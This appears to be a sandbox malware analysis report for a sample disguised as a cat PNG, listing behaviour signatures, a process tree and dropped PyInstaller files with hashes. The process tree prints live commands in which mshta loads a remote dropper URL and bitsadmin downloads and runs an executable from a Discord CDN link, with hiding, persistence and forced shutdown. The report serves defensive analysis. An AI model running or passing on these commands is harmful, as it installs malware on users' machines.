Resubmissions

26/10/2026, 17:13

261026-vrracabe7410

26/10/2026, 16:46

261026-vadb6ags6q10

26/10/2026, 16:42

261026-t7t6hags4p10

Analysis

  • user interaction
    yes
  • max time kernel
    96s
  • max time network
    100s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-de
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 17:13

Errors

Reason
Machine shutdown

General

  • Target
    cat_transparent_under_250kb.png
  • Size 100KB
  • Sample261026-vrracabe74
  • SHA256 6baa446ac53490d024b3080b02941c047633c1caf1f221d982d42ccd55c114ab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://rigcheck.up.railway.app/

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 11 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\mspaint.exe
    "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\cat_transparent_under_250kb.png"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    PID:3884
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
    1⤵
    • Checks SCSI registry key(s)
    PID:4364
  • C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" https://rigcheck.up.railway.app/
    1⤵
    • Badlisted process makes network request
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:5104
    • C:\Windows\System32\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer d /download /priority high "https://cdn.discordapp.com/attachments/1529518191569670255/1564324938515480739/navi.exe?ex=6ae0daa1&is=6adf8921&hm=3e31e4b0adcd4ffde6985a1bc4b722a663d8fc9427a5ae7730876ae95188f50d&" "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Download via BitsAdmin
      PID:692
    • C:\Users\Admin\AppData\Local\Temp\wd.exe
      "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Users\Admin\AppData\Local\Temp\wd.exe
        "C:\Users\Admin\AppData\Local\Temp\wd.exe"
        3⤵
        • Loads dropped DLL
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2984
        • C:\Windows\SYSTEM32\attrib.exe
          attrib +h C:\Users\Admin\AppData\Local\Temp\wd.exe
          4⤵
          • Views/modifies file attributes
          PID:1928
        • C:\Windows\SYSTEM32\shutdown.exe
          shutdown /s /t 1 /f
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5524
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    PID:1352
  • C:\Users\Admin\AppData\Local\Temp\wd.exe
    "C:\Users\Admin\AppData\Local\Temp\wd.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2664
    • C:\Users\Admin\AppData\Local\Temp\wd.exe
      "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h C:\Users\Admin\AppData\Local\Temp\wd.exe
        3⤵
        • Views/modifies file attributes
        PID:2312
      • C:\Windows\SYSTEM32\shutdown.exe
        shutdown /s /t 1 /f
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5360
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4620
    • C:\Windows\System32\PickerHost.exe
      C:\Windows\System32\PickerHost.exe -Embedding
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:5344
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x4 /state0:0xa39f8855 /state1:0x41c64e6d
      1⤵
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:3840
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k CameraMonitor
      1⤵
        PID:5704

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            MSVCP140.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\PyQt5\Qt5\bin\MSVCP140.dll
            • Size 576KB
            • SHA256 88f55d86b50b0a7e55e71ad2d8f7552146ba26e927230daf2e26ad3a971973c5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSVCP140_1.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\PyQt5\Qt5\bin\MSVCP140_1.dll
            • Size 30KB
            • SHA256 446c48c1224c289bd3080087fe15d6759416d64f4136addf30086abd5415d83f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Qt5Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\PyQt5\Qt5\bin\Qt5Core.dll
            • Size 5.7MB
            • SHA256 8d2ff4ce9096ddccc4f4cd62c2e41fc854cfd1b0d6e8d296645a7f5fd4ae565a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            QtCore.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\PyQt5\QtCore.pyd
            • Size 2.4MB
            • SHA256 d6e45fd8c3b3f93f52c4d1b6f9e3ee220454a73f80f65f3d70504bd55415ea37
            • MD5 SHA1 SHA512 SSDEEP TLSH

            sip.cp315-win_amd64.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\PyQt5\sip.cp315-win_amd64.pyd
            • Size 119KB
            • SHA256 af68e1409202b50b36865107add91b369e05e33d27c2114152b28eb01e9ef8ce
            • MD5 SHA1 SHA512 SSDEEP TLSH

            VCRUNTIME140.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\VCRUNTIME140.dll
            • Size 174KB
            • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            VCRUNTIME140_1.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\VCRUNTIME140_1.dll
            • Size 48KB
            • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _asyncio.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_asyncio.pyd
            • Size 76KB
            • SHA256 823d73d89b646eecbd0b44fa07715bec8ba6ee1deff25b554eabac21b421ae4e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _bz2.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_bz2.pyd
            • Size 84KB
            • SHA256 a57ad7b6355659277ab3048ecb8878b713305cf7a566cebed90319d333d44941
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ctypes.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_ctypes.pyd
            • Size 140KB
            • SHA256 0dab147f138b1c2294727c0c411b1313f798a9d0bf12b827b3c243c4fea628d1
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _hashlib.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_hashlib.pyd
            • Size 71KB
            • SHA256 1aed3affa3bf88fb4ed1c1294fd23a4dae4c0c2378e139ae2d19b5f68ebac022
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _lzma.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_lzma.pyd
            • Size 167KB
            • SHA256 a3163ce72075f46e8d4f2e84c7bd6c30b354cfc9af77145ecd8f07cd758b07a8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _overlapped.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_overlapped.pyd
            • Size 56KB
            • SHA256 060b4a531d8cc8ca88ee1aaa1b7b14df1812c63573dd863acfc28e248a07b252
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _queue.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_queue.pyd
            • Size 35KB
            • SHA256 ebce600509f8fcc45ca264775b70d1a7848300b1669eff6babab5a1244195d3f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _socket.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_socket.pyd
            • Size 86KB
            • SHA256 95d9fec06c9dc9c61ce3335bd83160851bce90f936615a9ba564ecedd3e76e7c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ssl.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_ssl.pyd
            • Size 194KB
            • SHA256 3941ff2e737757468b5d5c4c4c3a848019ce0e85a9ad32b8deb8d5cf5df93e56
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _tkinter.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_tkinter.pyd
            • Size 69KB
            • SHA256 da22665d0646e9feac392ccb20564bb5d0c3824d33e1d172bdb529503e5de176
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _wmi.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_wmi.pyd
            • Size 38KB
            • SHA256 25643fe7a149c2d36f6a3b18638e3dac3a20a7a198e8b8215d37e30b28ab6244
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _zstd.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\_zstd.pyd
            • Size 494KB
            • SHA256 65f7f0b0f204ea3fd9ea53a3d6f54e2f7f802188ee1a1ba1b1cdf3674684993d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            base_library.zip

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\base_library.zip
            • Size 1.4MB
            • SHA256 83bb1212f41e8772aad846c0e89aa3f7ea23c2818991d926df88aa246aae0421
            • MD5 SHA1 SHA512 SSDEEP TLSH

            cd.cp315-win_amd64.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\charset_normalizer\cd.cp315-win_amd64.pyd
            • Size 116KB
            • SHA256 a673fbfc2e6e63e0817dffa2745e7f24aa39845d20fe7da3979d48f6afd771bd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            md.cp315-win_amd64.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\charset_normalizer\md.cp315-win_amd64.pyd
            • Size 206KB
            • SHA256 e5bc67ba723aea88709dfcfdce5c647df732621a94ed5bfc0bcd8141b80f866f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libcrypto-3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\libcrypto-3.dll
            • Size 5.7MB
            • SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libffi-8.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\libffi-8.dll
            • Size 38KB
            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libssl-3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\libssl-3.dll
            • Size 1.2MB
            • SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libtommath.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\libtommath.dll
            • Size 79KB
            • SHA256 2d760fefb452665b6af8c8d9d29f3a8378f10fc0847cdd9938ea0cb5edf1d573
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\python3.dll
            • Size 74KB
            • SHA256 03538664aa98aea3732c8345f8229e9c5deb26532b3e652fa3d9f757b867e46c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python315.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\python315.dll
            • Size 7.5MB
            • SHA256 62507168f11f1a9bb6c6982322e0320477cf703a7382bdbe608a124a457126b1
            • MD5 SHA1 SHA512 SSDEEP TLSH

            select.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\select.pyd
            • Size 32KB
            • SHA256 641c4d2365d15ba1da857fd783b64ef67624077cc50ff3bd8566fe484b109342
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Lorem ipsum.txt

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
            • Size 1KB
            • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
            • MD5 SHA1 SHA512 TLSH

            tcl90.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\tcl90.dll
            • Size 3.2MB
            • SHA256 a1fb45f963b05cb083a97df1449c2023b484eb921d40a463da7501b0f60e0f70
            • MD5 SHA1 SHA512 SSDEEP TLSH

            tcl9tk90.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\tcl9tk90.dll
            • Size 2.0MB
            • SHA256 31f625c52e65d29d126e710ed8bab2ec964cb770e4fc59bc329dfff02cb6ddcf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            unicodedata.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a502\unicodedata.pyd
            • Size 735KB
            • SHA256 67d569e47ab2cd164ee6e42e5811b787d18230eb02b47adf3e45cc67205eef79
            • MD5 SHA1 SHA512 SSDEEP TLSH

            qt_en.qm

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000a682\PyQt5\Qt5\translations\qt_en.qm
            • Size 16B
            • SHA256 9959b510b15d18937848ad13007e30459d2e993c67e564badbfc18f935695c85
            • MD5 SHA1 SHA512

            memory/1352-233-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-221-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-232-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-231-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-234-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-229-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-223-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/1352-230-0x000001B6657A0000-0x000001B6657A1000-memory.dmp

            memory/2096-576-0x00007FF870ED0000-0x00007FF871133000-memory.dmp

            memory/2984-314-0x00007FF877500000-0x00007FF877763000-memory.dmp